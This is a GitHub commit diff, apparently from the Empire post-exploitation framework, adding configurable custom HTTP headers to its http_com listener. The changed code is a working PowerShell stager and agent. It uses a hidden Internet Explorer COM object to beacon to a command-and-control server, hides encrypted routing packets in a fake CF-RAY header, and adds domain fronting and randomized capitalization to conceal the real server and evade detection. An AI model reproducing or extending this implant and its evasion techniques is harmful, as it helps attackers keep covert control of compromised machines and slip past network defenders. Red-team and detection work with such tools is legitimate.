Merge pull request #836 from leoloobeek/dev

Add custom HTTP headers to ie_com listener
readme-wiki
Chris Ross 2017-12-05 17:46:35 -05:00 committed by GitHub
commit b311399743
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 73 additions and 14 deletions

View File

@ -58,7 +58,7 @@ function Start-Negotiate {
# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$customHeaders = "";
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
# $SK -> staging key for this server
@ -99,6 +99,15 @@ function Start-Negotiate {
$ie.Silent = $True;
$IE.visible = $False;
}
if ($customHeaders -ne "") {
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if ($customHeaders.Contains("Host: ")) {
$IE.navigate2($s,14,0,$Null,$Null);
while($ie.busy -eq $true){Start-Sleep -Milliseconds 100};
}
}
# RC4 routing packet:
# sessionID = $ID
@ -113,7 +122,7 @@ function Start-Negotiate {
# step 3 of negotiation -> client posts AESstaging(PublicKey) to the server
$bytes=$e.GetBytes([System.Convert]::ToBase64String($rc4p));
$IE.navigate2($s+"/index.jsp", 14, 0, $bytes, $Null);
$IE.navigate2($s+"/index.jsp", 14, 0, $bytes, $customHeaders);
while($ie.busy -eq $true){Start-Sleep -Milliseconds 100};
$html = $IE.document.GetType().InvokeMember("body", [System.Reflection.BindingFlags]::GetProperty, $Null, $IE.document, $Null).InnerHtml;
@ -183,7 +192,7 @@ function Start-Negotiate {
$rc4p2 = $IV2 + $rc4p2 + $eb2;
$bytes=$e.GetBytes([System.Convert]::ToBase64String($rc4p2));
$IE.navigate2($s+"/index.php", 14, 0, $bytes, $Null);
$IE.navigate2($s+"/index.php", 14, 0, $bytes, $customHeaders);
while($ie.busy -eq $true){Start-Sleep -Milliseconds 100};
$html = $IE.document.GetType().InvokeMember("body", [System.Reflection.BindingFlags]::GetProperty, $Null, $IE.document, $Null).InnerHtml;
try {

View File

@ -26,8 +26,8 @@ class Listener:
'Author': ['@harmj0y'],
'Description': ('Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach '
'using a hidden Internet Explorer COM object.'),
'Description': ('Starts a http[s] listener (PowerShell only) that uses a GET/POST approach '
'using a hidden Internet Explorer COM object. If using HTTPS, valid certificate required.'),
'Category' : ('client_server'),
@ -104,6 +104,11 @@ class Listener:
'Required' : False,
'Value' : ''
},
'RequestHeader' : {
'Description' : 'Cannot use Cookie header, choose a different HTTP request header for comms.',
'Required' : True,
'Value' : 'CF-RAY'
},
'ServerVersion' : {
'Description' : 'Server header for the control server.',
'Required' : True,
@ -175,8 +180,10 @@ class Listener:
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
requestHeader = listenerOptions['RequestHeader']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
@ -240,10 +247,31 @@ class Listener:
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a header location
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += "$ser='%s';$t='%s';" % (host, stage0)
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: %s');" % (b64RoutingPacket)
# add the RC4 packet to a header location
stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)
#Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
if headerKey.lower() == "host":
modifyHost = True
stager += "`r`n%s: %s" % (headerKey, headerValue)
stager += "\";"
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};")
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
@ -282,6 +310,7 @@ class Listener:
stagingKey = listenerOptions['StagingKey']['Value']
host = listenerOptions['Host']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
customHeaders = profile.split('|')[2:]
# select some random URIs for staging from the main profile
stage1 = random.choice(uris)
@ -298,6 +327,22 @@ class Listener:
if not host.endswith("/"):
host += "/"
#Patch in custom Headers
headers = ""
if customHeaders != []:
crlf = False
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
# Host header TLS SNI logic done within http_com.ps1
if crlf:
headers += "`r`n"
else:
crlf = True
headers += "%s: %s" % (headerKey, headerValue)
stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";")
# patch the server and key information
stager = stager.replace('REPLACE_SERVER', host)
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
@ -417,7 +462,8 @@ class Listener:
# meta 'TASKING_REQUEST' : 4
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
$Headers = "CF-RAY: $RoutingCookie"
$Headers = "%s: $RoutingCookie"
$script:Headers.GetEnumerator()| %%{ $Headers += "`r`n$($_.Name): $($_.Value)" }
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random
@ -440,7 +486,7 @@ class Listener:
}
}
}
"""
""" % (listenerOptions['RequestHeader']['Value'])
sendMessage = """
function script:Send-Message {
@ -458,12 +504,16 @@ class Listener:
if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
$Headers = ""
$script:Headers.GetEnumerator()| %{ $Headers += "`r`n$($_.Name): $($_.Value)" }
$Headers.TrimStart("`r`n")
try {
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random
$ServerURI = $Script:ControlServers[$Script:ServerIndex] + $taskURI
$Script:IE.navigate2($ServerURI, 14, 0, $bytes, $Null)
$Script:IE.navigate2($ServerURI, 14, 0, $bytes, $Headers)
while($Script:IE.busy -eq $true){Start-Sleep -Milliseconds 100}
}
catch [System.Net.WebException]{
@ -544,11 +594,11 @@ class Listener:
clientIP = request.remote_addr
dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http_com')
routingPacket = None
cfRay = request.headers.get('CF-RAY')
if cfRay and cfRay != '':
reqHeader = request.headers.get(listenerOptions['RequestHeader']['Value'])
if reqHeader and reqHeader != '':
try:
# decode the routing packet base64 value from the cfRay header location
routingPacket = base64.b64decode(cfRay)
# decode the routing packet base64 value from the custom HTTP request header location
routingPacket = base64.b64decode(reqHeader)
except Exception as e:
routingPacket = None